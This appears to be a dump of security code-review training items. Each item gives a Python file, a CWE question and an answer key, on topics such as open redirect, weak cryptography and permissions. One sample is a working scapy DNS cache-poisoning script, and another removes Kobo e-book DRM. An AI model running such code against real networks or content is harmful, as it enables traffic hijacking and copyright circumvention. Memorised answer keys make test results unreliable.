OctoReasoner/verl_codeql1_aggressive_filtered huggingface dataset:
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from Crypto.Cipher import AES
from Crypto.Util import Padding

from typing import Dict
import base64
import binascii
import hashlib
import zipfile

# Based on obok.py by Physisticated.
class KoboDrmRemover:
	def __init__( self, deviceId: str, userId: str ):
		self.DeviceIdUserIdKey = KoboDrmRemover.__MakeDeviceIdUserIdKey( deviceId, userId )

	@staticmethod
	def __MakeDeviceIdUserIdKey( deviceId: str, userId: str ) -> bytes:
		deviceIdUserId = ( deviceId + userId ).encode()
		key = hashlib.sha256( deviceIdUserId ).hexdigest()
		return binascii.a2b_hex( key[ 32: ] )

	def __DecryptContents( self, contents: bytes, contentKeyBase64: str ) -> bytes:
		contentKey = base64.b64decode( contentKeyBase64 )
		keyAes = AES.new( self.DeviceIdUserIdKey, AES.MODE_ECB )
		decryptedContentKey = keyAes.decrypt( contentKey )

		contentAes = AES.new( decryptedContentKey, AES.MODE_ECB )
		decryptedContents = contentAes.decrypt( contents )
		return Padding.unpad( decryptedContents, AES.block_size, "pkcs7" )

	def RemoveDrm( self, inputPath: str, outputPath: str, contentKeys: Dict[ str, str ] ) -> None:
		with zipfile.ZipFile( inputPath, "r" ) as inputZip:
			with zipfile.ZipFile( outputPath, "w", zipfile.ZIP_DEFLATED ) as outputZip:
				for filename in inputZip.namelist():
					contents = inputZip.read( filename )
					contentKeyBase64 = contentKeys.get( filename, None )
					if contentKeyBase64 is not None:
						contents = self.__DecryptContents( contents, contentKeyBase64 )
					outputZip.writestr( filename, contents )

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
  B) CWE-209: Generation of Error Message Containing Sensitive Information
  C) CWE-116: Improper Encoding or Escaping of Output
  D) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  E) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  F) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
from Crypto.Cipher import AES
from Crypto.Util import Padding

from typing import Dict
import base64
import binascii
import hashlib
import zipfile

# Based on obok.py by Physisticated.
class KoboDrmRemover:
	def __init__( self, deviceId: str, userId: str ):
		self.DeviceIdUserIdKey = KoboDrmRemover.__MakeDeviceIdUserIdKey( deviceId, userId )

	@staticmethod
	def __MakeDeviceIdUserIdKey( deviceId: str, userId: str ) -> bytes:
		deviceIdUserId = ( deviceId + userId ).encode()
		key = hashlib.sha256( deviceIdUserId ).hexdigest()
		return binascii.a2b_hex( key[ 32: ] )

	def __DecryptContents( self, contents: bytes, contentKeyBase64: str ) -> bytes:
		contentKey = base64.b64decode( contentKeyBase64 )
		keyAes = AES.new( self.DeviceIdUserIdKey, AES.MODE_ECB )
		decryptedContentKey = keyAes.decrypt( contentKey )

		contentAes = AES.new( decryptedContentKey, AES.MODE_ECB )
		decryptedContents = contentAes.decrypt( contents )
		return Padding.unpad( decryptedContents, AES.block_size, "pkcs7" )

	def RemoveDrm( self, inputPath: str, outputPath: str, contentKeys: Dict[ str, str ] ) -> None:
		with zipfile.ZipFile( inputPath, "r" ) as inputZip:
			with zipfile.ZipFile( outputPath, "w", zipfile.ZIP_DEFLATED ) as outputZip:
				for filename in inputZip.namelist():
					contents = inputZip.read( filename )
					contentKeyBase64 = contentKeys.get( filename, None )
					if contentKeyBase64 is not None:
						contents = self.__DecryptContents( contents, contentKeyBase64 )
					outputZip.writestr( filename, contents )

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) RemoveDrm
  B) __MakeDeviceIdUserIdKey
  C) __DecryptContents
  D) __init__
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import flash, redirect, render_template, url_for, request
from flask_login import login_user, logout_user, login_required, current_user

from . import auth
from .forms import SignInForm, SignUpForm, ChangePasswordForm
from ..models import User

@auth.route('/', methods=['GET', 'POST'])
def index():
    form = SignInForm()
    if form.validate_on_submit():
        user = User.get_by_username_and_password(form.username.data, form.password.data)
        if user is not None:
            login_user(user, form.remember_me.data)
            return redirect(request.args.get('next') or url_for('tweets.user_timeline'))
        else:
            flash("Invalid username or password")

    return render_template('index.html', form=form)


@auth.route('/signout')
def signout():
    logout_user()
    return redirect(url_for('auth.index'))


@auth.route('/signup', methods=['GET', 'POST'])
def signup():
    form = SignUpForm()
    if form.validate_on_submit():
        try:
            User.create_new_user(form.username.data, form.password.data)
            flash('Welcome, {}! Please login'.format(form.username.data))
            return redirect(url_for('auth.index'))
        except ValueError as e:
            flash(str(e))
            return render_template('signup.html', form=form)
        
    return render_template('signup.html', form=form)


@auth.route('/user_settings', methods=['GET', 'POST'])
@login_required
def user_settings():
    form = ChangePasswordForm()
    if form.validate_on_submit():
        try:
            current_user.change_password(form.old_password.data, form.new_password.data)
            flash('Password successfully changed')
        except ValueError as e:
            flash(str(e))
            return render_template('user_settings.html', form=form)
            
    return render_template('user_settings.html', form=form)
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  B) CWE-116: Improper Encoding or Escaping of Output
  C) CWE-502: Deserialization of Untrusted Data
  D) CWE-326: Inadequate Encryption Strength
  E) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  F) CWE-918: Server-Side Request Forgery (SSRF)
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
from flask import flash, redirect, render_template, url_for, request
from flask_login import login_user, logout_user, login_required, current_user

from . import auth
from .forms import SignInForm, SignUpForm, ChangePasswordForm
from ..models import User

@auth.route('/', methods=['GET', 'POST'])
def index():
    form = SignInForm()
    if form.validate_on_submit():
        user = User.get_by_username_and_password(form.username.data, form.password.data)
        if user is not None:
            login_user(user, form.remember_me.data)
            return redirect(request.args.get('next') or url_for('tweets.user_timeline'))
        else:
            flash("Invalid username or password")

    return render_template('index.html', form=form)


@auth.route('/signout')
def signout():
    logout_user()
    return redirect(url_for('auth.index'))


@auth.route('/signup', methods=['GET', 'POST'])
def signup():
    form = SignUpForm()
    if form.validate_on_submit():
        try:
            User.create_new_user(form.username.data, form.password.data)
            flash('Welcome, {}! Please login'.format(form.username.data))
            return redirect(url_for('auth.index'))
        except ValueError as e:
            flash(str(e))
            return render_template('signup.html', form=form)
        
    return render_template('signup.html', form=form)


@auth.route('/user_settings', methods=['GET', 'POST'])
@login_required
def user_settings():
    form = ChangePasswordForm()
    if form.validate_on_submit():
        try:
            current_user.change_password(form.old_password.data, form.new_password.data)
            flash('Password successfully changed')
        except ValueError as e:
            flash(str(e))
            return render_template('user_settings.html', form=form)
            
    return render_template('user_settings.html', form=form)
```

Which of the following functions or classes contains a `CWE-601: URL Redirection to Untrusted Site ('Open Redirect')` vulnerability?

  A) index
  B) user_settings
  C) signup
  D) signout
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from flask import flash, redirect, render_template, url_for, request
from flask_login import login_user, logout_user, login_required, current_user

from . import auth
from .forms import SignInForm, SignUpForm, ChangePasswordForm
from ..models import User

@auth.route('/', methods=['GET', 'POST'])
def index():
    form = SignInForm()
    if form.validate_on_submit():
        user = User.get_by_username_and_password(form.username.data, form.password.data)
        if user is not None:
            login_user(user, form.remember_me.data)
            return redirect(request.args.get('next') or url_for('tweets.user_timeline'))
        else:
            flash("Invalid username or password")

    return render_template('index.html', form=form)


@auth.route('/signout')
def signout():
    logout_user()
    return redirect(url_for('auth.index'))


@auth.route('/signup', methods=['GET', 'POST'])
def signup():
    form = SignUpForm()
    if form.validate_on_submit():
        try:
            User.create_new_user(form.username.data, form.password.data)
            flash('Welcome, {}! Please login'.format(form.username.data))
            return redirect(url_for('auth.index'))
        except ValueError as e:
            flash(str(e))
            return render_template('signup.html', form=form)
        
    return render_template('signup.html', form=form)


@auth.route('/user_settings', methods=['GET', 'POST'])
@login_required
def user_settings():
    form = ChangePasswordForm()
    if form.validate_on_submit():
        try:
            current_user.change_password(form.old_password.data, form.new_password.data)
            flash('Password successfully changed')
        except ValueError as e:
            flash(str(e))
            return render_template('user_settings.html', form=form)
            
    return render_template('user_settings.html', form=form)
```

Name the function or class in this code that contains a `CWE-601: URL Redirection to Untrusted Site ('Open Redirect')` vulnerability.
Answer: index
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/python
from scapy.all import*
def spoof_dns(pkt):
	if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
		# Swap the source and destination IP address
		IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
		# Swap the source and destination port number
		UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
		# The Answer Section
		Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
						ttl=259200, rdata='10.0.2.5')
		# The Authority Section
		NSsec1 = DNSRR(rrname='example.net', type='NS',
						ttl=259200, rdata='attacker32.com')
		NSsec2 = DNSRR(rrname='example.net', type='NS',
						ttl=259200, rdata='ns.example.net')
		# The Additional Section
		Addsec1 = DNSRR(rrname='attacker32.com', type='A',
						ttl=259200, rdata='1.2.3.4')
		Addsec2 = DNSRR(rrname='ns.example.net', type='A',
						ttl=259200, rdata='5.6.7.8')
		Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
						ttl=259200, rdata='3.4.5.6')
		# Construct the DNS packet
		DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
					qdcount=1, ancount=1, nscount=2, arcount=3,
					an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
		# Construct the entire IP packet and send it out
		spoofpkt = IPpkt/UDPpkt/DNSpkt
		send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-326: Inadequate Encryption Strength
  B) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  C) CWE-116: Improper Encoding or Escaping of Output
  D) CWE-117: Improper Output Neutralization for Logs
  E) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  F) CWE-20: Improper Input Validation
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/python

import sys
import hmac
import hashlib
import base64

str1 = "timber"
str2 = "core"
str3 = "region"

def toBytes(para):
  return bytes(para, 'latin-1')

def getPass(para):
  import getpass
  return getpass.getpass(para)

def keyGen(key, password):
  md5one = hmac.new(toBytes(key), toBytes(password), hashlib.md5).hexdigest()
  base64one = base64.b64encode(toBytes(md5one))
  sha384one = hmac.new(base64one, toBytes(str1), hashlib.sha384).hexdigest()
  sha256one = hmac.new(base64one, toBytes(str2), hashlib.sha256).hexdigest()
  pak = hmac.new(toBytes(sha384one), toBytes(sha256one), hashlib.sha512).hexdigest()
  rule = str(base64.b64encode(toBytes(sha384one)), 'latin-1')
  source = str(base64.b64encode(toBytes(sha256one)), 'latin-1')
  return 'K' + rule[10:15] + pak[0:4] + source[6:12]

if __name__ == "__main__":
  if len(sys.argv) != 2:
    help_str = "Usage: %s KEY\n" % (sys.argv[0])
    sys.stderr.write(help_str)
    sys.exit(1)
  password = getPass("Password: ")
  print(keyGen(sys.argv[1], password))

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  B) CWE-94: Improper Control of Generation of Code ('Code Injection')
  C) CWE-215: Insertion of Sensitive Information Into Debugging Code
  D) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  E) CWE-116: Improper Encoding or Escaping of Output
  F) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/python

import sys
import hmac
import hashlib
import base64

str1 = "timber"
str2 = "core"
str3 = "region"

def toBytes(para):
  return bytes(para, 'latin-1')

def getPass(para):
  import getpass
  return getpass.getpass(para)

def keyGen(key, password):
  md5one = hmac.new(toBytes(key), toBytes(password), hashlib.md5).hexdigest()
  base64one = base64.b64encode(toBytes(md5one))
  sha384one = hmac.new(base64one, toBytes(str1), hashlib.sha384).hexdigest()
  sha256one = hmac.new(base64one, toBytes(str2), hashlib.sha256).hexdigest()
  pak = hmac.new(toBytes(sha384one), toBytes(sha256one), hashlib.sha512).hexdigest()
  rule = str(base64.b64encode(toBytes(sha384one)), 'latin-1')
  source = str(base64.b64encode(toBytes(sha256one)), 'latin-1')
  return 'K' + rule[10:15] + pak[0:4] + source[6:12]

if __name__ == "__main__":
  if len(sys.argv) != 2:
    help_str = "Usage: %s KEY\n" % (sys.argv[0])
    sys.stderr.write(help_str)
    sys.exit(1)
  password = getPass("Password: ")
  print(keyGen(sys.argv[1], password))

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) keyGen
  B) toBytes
  C) getPass
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/python

import sys
import hmac
import hashlib
import base64

str1 = "timber"
str2 = "core"
str3 = "region"

def toBytes(para):
  return bytes(para, 'latin-1')

def getPass(para):
  import getpass
  return getpass.getpass(para)

def keyGen(key, password):
  md5one = hmac.new(toBytes(key), toBytes(password), hashlib.md5).hexdigest()
  base64one = base64.b64encode(toBytes(md5one))
  sha384one = hmac.new(base64one, toBytes(str1), hashlib.sha384).hexdigest()
  sha256one = hmac.new(base64one, toBytes(str2), hashlib.sha256).hexdigest()
  pak = hmac.new(toBytes(sha384one), toBytes(sha256one), hashlib.sha512).hexdigest()
  rule = str(base64.b64encode(toBytes(sha384one)), 'latin-1')
  source = str(base64.b64encode(toBytes(sha256one)), 'latin-1')
  return 'K' + rule[10:15] + pak[0:4] + source[6:12]

if __name__ == "__main__":
  if len(sys.argv) != 2:
    help_str = "Usage: %s KEY\n" % (sys.argv[0])
    sys.stderr.write(help_str)
    sys.exit(1)
  password = getPass("Password: ")
  print(keyGen(sys.argv[1], password))

```

Name the function or class in this code that contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability.
Answer: keyGen
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import sys, argparse
import pandas as pd
import json as js
import jinja2
import pdfkit


def iterate_dicts(madmp, tplt, result):
    for key, val in madmp.items():
        t = type(val)
        if t is dict:
            print(f"dict {key}")
            if key in tplt:
                result = iterate_dicts(val, tplt[key], result)

        elif t is list:
            print(f"list {key}")
            for idx, l in enumerate(val):
                if key in tplt:
                    result = iterate_dicts(l, tplt[key], result)

        elif t is str or t is int or t is float:
            print(f"str/num {key}")
            if key in tplt:
                if tplt[key] not in result:
                    result[tplt[key]] = []
                result[tplt[key]].append((key, val))

    return result


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('-d', '--dmp', help="path to maDMP (JSON) to convert", type=str, default='../dmps/structure-example.json')
    parser.add_argument('-t', '--temp', help="template to use (HORIZON or FWF)", type=str, default='FWF')

    args = parser.parse_args()

    DMP_FILE = args.dmp
    DMP_TEMP = args.temp
    
    if DMP_TEMP == 'HORIZON':
        TEMPLATE_FILE = "h2020.html.jinja"
        # pdfkit
        options = {
            'page-size': 'A4',
            'orientation': 'portrait'
        }
    elif DMP_TEMP == 'FWF': 
        TEMPLATE_FILE = "fwf-text.html.jinja"  # old: "fwf.html.jinja"
        # pdfkit
        options = {
            'page-size': 'A4',
            'orientation': 'landscape'
        }
    else:
        print('Template not found! Choose either HORIZON or FWF.')

    # load dmp 
    dmp = js.load(open(DMP_FILE, 'r'))

    # jinja
    template_loader = jinja2.FileSystemLoader(searchpath="./")
    template_env = jinja2.Environment(loader=template_loader)
    template = template_env.get_template(TEMPLATE_FILE)
    dmp_html = template.render(dmp['dmp'])

    pdfkit.from_string(dmp_html, f"{DMP_FILE[0:-5]}_{DMP_TEMP}_out.pdf", options=options)

if __name__ == '__main__':
    main()

```

Which of the following functions or classes contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability?

  A) main
  B) iterate_dicts
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import sys, argparse
import pandas as pd
import json as js
import jinja2
import pdfkit


def iterate_dicts(madmp, tplt, result):
    for key, val in madmp.items():
        t = type(val)
        if t is dict:
            print(f"dict {key}")
            if key in tplt:
                result = iterate_dicts(val, tplt[key], result)

        elif t is list:
            print(f"list {key}")
            for idx, l in enumerate(val):
                if key in tplt:
                    result = iterate_dicts(l, tplt[key], result)

        elif t is str or t is int or t is float:
            print(f"str/num {key}")
            if key in tplt:
                if tplt[key] not in result:
                    result[tplt[key]] = []
                result[tplt[key]].append((key, val))

    return result


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('-d', '--dmp', help="path to maDMP (JSON) to convert", type=str, default='../dmps/structure-example.json')
    parser.add_argument('-t', '--temp', help="template to use (HORIZON or FWF)", type=str, default='FWF')

    args = parser.parse_args()

    DMP_FILE = args.dmp
    DMP_TEMP = args.temp
    
    if DMP_TEMP == 'HORIZON':
        TEMPLATE_FILE = "h2020.html.jinja"
        # pdfkit
        options = {
            'page-size': 'A4',
            'orientation': 'portrait'
        }
    elif DMP_TEMP == 'FWF': 
        TEMPLATE_FILE = "fwf-text.html.jinja"  # old: "fwf.html.jinja"
        # pdfkit
        options = {
            'page-size': 'A4',
            'orientation': 'landscape'
        }
    else:
        print('Template not found! Choose either HORIZON or FWF.')

    # load dmp 
    dmp = js.load(open(DMP_FILE, 'r'))

    # jinja
    template_loader = jinja2.FileSystemLoader(searchpath="./")
    template_env = jinja2.Environment(loader=template_loader)
    template = template_env.get_template(TEMPLATE_FILE)
    dmp_html = template.render(dmp['dmp'])

    pdfkit.from_string(dmp_html, f"{DMP_FILE[0:-5]}_{DMP_TEMP}_out.pdf", options=options)

if __name__ == '__main__':
    main()

```

Name the function or class in this code that contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability.
Answer: main
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3

import os
import re
import sys
import stat
from colorama import init as colorama_init, Fore, Style
import pydash as _
from pathlib import Path
from mako.template import Template

REPO_DIR = Path(__file__).resolve(strict=False).parents[1]
sys.path.insert(0, str(REPO_DIR))

from utils.classes.Component import Component

colorama_init(autoreset=True)

MAPPING = {
	'js': 'node',
	'javascript': 'node',
	'py': 'python'
}

ENDINGS = {
	'python': 'py',
	'node': 'js'
}

class Builder(Component):
	name = 'builder'
	version = 'Python 1.0.0'
	color = True

	def create(component_name, coding_language='python'):
		data = {
			'name': _.snake_case(component_name),
			'class_name': _.start_case(_.camel_case(component_name)).replace(' ', ''),
			'cwd': os.getcwd()
		}
		coding_language = _.get(MAPPING, coding_language, coding_language)
		with open(REPO_DIR / f'{coding_language}.component', 'r') as template_file:
			code_template = template_file.read()
			code_template = code_template.replace('<%= ', '${').replace(' %>', '}')
			render = Template(code_template).render
		
		file = render(**data)
		file_ending = ENDINGS[coding_language]
		file_path = f'./{data["name"]}.{file_ending}'

		with open(file_path, 'w') as component_file:
			component_file.write(file)
		
		os.chmod(file_path, 0o775)

		if Builder.color:
			print(Fore.GREEN + ' Component created.' + Style.RESET_ALL + ' Try it by running ' + Fore.YELLOW + f'{file_path} help')
		else:
			print(f'Component created. Try it by running {file_path} help')

Builder.export_as_cli()
```

Name the function or class in this code that contains a `CWE-732: Incorrect Permission Assignment for Critical Resource` vulnerability.
Answer: create
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3

import os, sys
import http.server, ssl

# for logging and CLI arguments parsing
from common import Logger, CLIParser
logger = Logger.getLogger()
Logger.disable_http_tracing()

class WebFileServer:
  def start_instance(root_dir, port=80, cert_file=None, key_file=None):
    Handler = http.server.SimpleHTTPRequestHandler
    os.chdir(root_dir)
    httpd = http.server.HTTPServer(('', port), Handler)
    if cert_file and key_file:
      logger.info(f"Starting HTTPS server: port={port}, path={root_dir}")
      httpd.socket = ssl.wrap_socket (httpd.socket, server_side=True,
        keyfile=key_file, certfile=cert_file)
    else:
      logger.info(f"Starting HTTP server: port={port}, path={root_dir}")
    httpd.serve_forever()

########################################
# CLI interface
########################################

def start_web_server(args):
  WebFileServer.start_instance(args.root_dir, int(args.port), args.cert_file, args.key_file)

#################################
# Program starts
#################################
def handler(signal_received, frame):
  logger.critical("Ctrl-C signal is captured, exiting...")
  sys.exit(2)

if (__name__ == '__main__') and ('UNIT_TEST' not in os.environ):
  # for capturing Ctrl-C
  from signal import signal, SIGINT

  signal(SIGINT, handler)
  CLI_config = { 'func':start_web_server, 'arguments': [
    {'name':'root_dir', 'help':'Root folder for directory'}, 
    {'name':'port', 'help':'Port for the web server'}, 
    {'name':'--cert_file', 'help':'SSL certificate file'},
    {'name':'--key_file', 'help':'SSL key file'}
    ]}
  try:
   CLIParser.run(CLI_config)
  except Exception as e:
   logger.error(f"Exception happened: {e}")
   sys.exit(1)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
  B) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  C) CWE-377: Insecure Temporary File
  D) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
  E) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  F) CWE-732: Incorrect Permission Assignment for Critical Resource
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3

import os, sys
import http.server, ssl

# for logging and CLI arguments parsing
from common import Logger, CLIParser
logger = Logger.getLogger()
Logger.disable_http_tracing()

class WebFileServer:
  def start_instance(root_dir, port=80, cert_file=None, key_file=None):
    Handler = http.server.SimpleHTTPRequestHandler
    os.chdir(root_dir)
    httpd = http.server.HTTPServer(('', port), Handler)
    if cert_file and key_file:
      logger.info(f"Starting HTTPS server: port={port}, path={root_dir}")
      httpd.socket = ssl.wrap_socket (httpd.socket, server_side=True,
        keyfile=key_file, certfile=cert_file)
    else:
      logger.info(f"Starting HTTP server: port={port}, path={root_dir}")
    httpd.serve_forever()

########################################
# CLI interface
########################################

def start_web_server(args):
  WebFileServer.start_instance(args.root_dir, int(args.port), args.cert_file, args.key_file)

#################################
# Program starts
#################################
def handler(signal_received, frame):
  logger.critical("Ctrl-C signal is captured, exiting...")
  sys.exit(2)

if (__name__ == '__main__') and ('UNIT_TEST' not in os.environ):
  # for capturing Ctrl-C
  from signal import signal, SIGINT

  signal(SIGINT, handler)
  CLI_config = { 'func':start_web_server, 'arguments': [
    {'name':'root_dir', 'help':'Root folder for directory'}, 
    {'name':'port', 'help':'Port for the web server'}, 
    {'name':'--cert_file', 'help':'SSL certificate file'},
    {'name':'--key_file', 'help':'SSL key file'}
    ]}
  try:
   CLIParser.run(CLI_config)
  except Exception as e:
   logger.error(f"Exception happened: {e}")
   sys.exit(1)

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) WebFileServer
  B) handler
  C) start_web_server
  D) start_instance
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3

import os, sys
import http.server, ssl

# for logging and CLI arguments parsing
from common import Logger, CLIParser
logger = Logger.getLogger()
Logger.disable_http_tracing()

class WebFileServer:
  def start_instance(root_dir, port=80, cert_file=None, key_file=None):
    Handler = http.server.SimpleHTTPRequestHandler
    os.chdir(root_dir)
    httpd = http.server.HTTPServer(('', port), Handler)
    if cert_file and key_file:
      logger.info(f"Starting HTTPS server: port={port}, path={root_dir}")
      httpd.socket = ssl.wrap_socket (httpd.socket, server_side=True,
        keyfile=key_file, certfile=cert_file)
    else:
      logger.info(f"Starting HTTP server: port={port}, path={root_dir}")
    httpd.serve_forever()

########################################
# CLI interface
########################################

def start_web_server(args):
  WebFileServer.start_instance(args.root_dir, int(args.port), args.cert_file, args.key_file)

#################################
# Program starts
#################################
def handler(signal_received, frame):
  logger.critical("Ctrl-C signal is captured, exiting...")
  sys.exit(2)

if (__name__ == '__main__') and ('UNIT_TEST' not in os.environ):
  # for capturing Ctrl-C
  from signal import signal, SIGINT

  signal(SIGINT, handler)
  CLI_config = { 'func':start_web_server, 'arguments': [
    {'name':'root_dir', 'help':'Root folder for directory'}, 
    {'name':'port', 'help':'Port for the web server'}, 
    {'name':'--cert_file', 'help':'SSL certificate file'},
    {'name':'--key_file', 'help':'SSL key file'}
    ]}
  try:
   CLIParser.run(CLI_config)
  except Exception as e:
   logger.error(f"Exception happened: {e}")
   sys.exit(1)

```

Name the function or class in this code that contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability.
Answer: start_instance
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from mobify.source import MobifySource


class AosaBookSource(MobifySource):

    HEADER = u"""
<h1>{title}</h1>
<p><small>{author}</small><br></p>
"""

    @staticmethod
    def is_my_url(url):
        # http://aosabook.org/en/git.html
        return '//aosabook.org/' in url

    def get_html(self):
